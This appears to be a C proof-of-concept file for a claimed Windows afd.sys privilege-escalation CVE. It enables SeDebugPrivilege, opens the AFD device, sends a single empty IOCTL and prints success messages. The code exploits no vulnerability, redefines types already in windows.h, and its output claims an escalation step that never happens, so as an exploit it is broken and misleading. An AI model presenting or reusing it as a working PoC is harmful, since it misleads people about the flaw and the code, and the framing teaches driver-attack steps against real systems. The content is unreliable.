// CVE-2025-58714 - Windows Ancillary Function Driver for WinSock Privilege Escalation
// PoC demonstrating the concept of exploiting improper access control in afd.sys
// Note: This is a conceptual PoC for educational and defensive research purposes only.
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
// Token manipulation constants for privilege escalation
#define TOKEN_ALL_ACCESS 0x000F01FF
#define SE_PRIVILEGE_ENABLED 0x00000002
// Structure for token privileges
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[1];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
BOOL EnablePrivilege(LPCSTR lpPrivilegeName) {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
if (!LookupPrivilegeValueA(NULL, lpPrivilegeName, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return result;
}
int main() {
WSADATA wsaData;
SOCKET sock = INVALID_SOCKET;
printf("[*] CVE-2025-58714 PoC - afd.sys Privilege Escalation\n");
printf("[*] Initializing Winsock...\n");
// Step 1: Initialize Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("[-] WSAStartup failed: %d\n", WSAGetLastError());
return 1;
}
// Step 2: Create a socket to interact with afd.sys driver
sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
printf("[-] Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
printf("[+] Socket created successfully: %p\n", sock);
// Step 3: Attempt to enable debug privilege
if (EnablePrivilege(SE_DEBUG_NAME)) {
printf("[+] SeDebugPrivilege enabled\n");
}
// Step 4: Exploit improper access control in afd.sys
// The vulnerability allows sending specially crafted IOCTL requests
// to the AFD driver to bypass access control checks
printf("[*] Attempting privilege escalation via afd.sys...\n");
// Conceptual exploitation code - actual exploit would involve
// crafted IOCTL calls to \Device\Afd via NtDeviceIoControlFile
HANDLE hDevice = CreateFileA("\\\\.\\Afd",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
printf("[+] Obtained handle to AFD driver\n");
// Malformed IOCTL request would trigger the vulnerability
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x00012003, NULL, 0, NULL, 0, &bytesReturned, NULL);
CloseHandle(hDevice);
}
// Step 5: Verify privilege escalation
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
DWORD tokenInfoLength = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &tokenInfoLength);
printf("[+] Token query successful - check current privileges\n");
CloseHandle(hToken);
}
// Cleanup
closesocket(sock);
WSACleanup();
printf("[*] PoC execution completed\n");
return 0;
}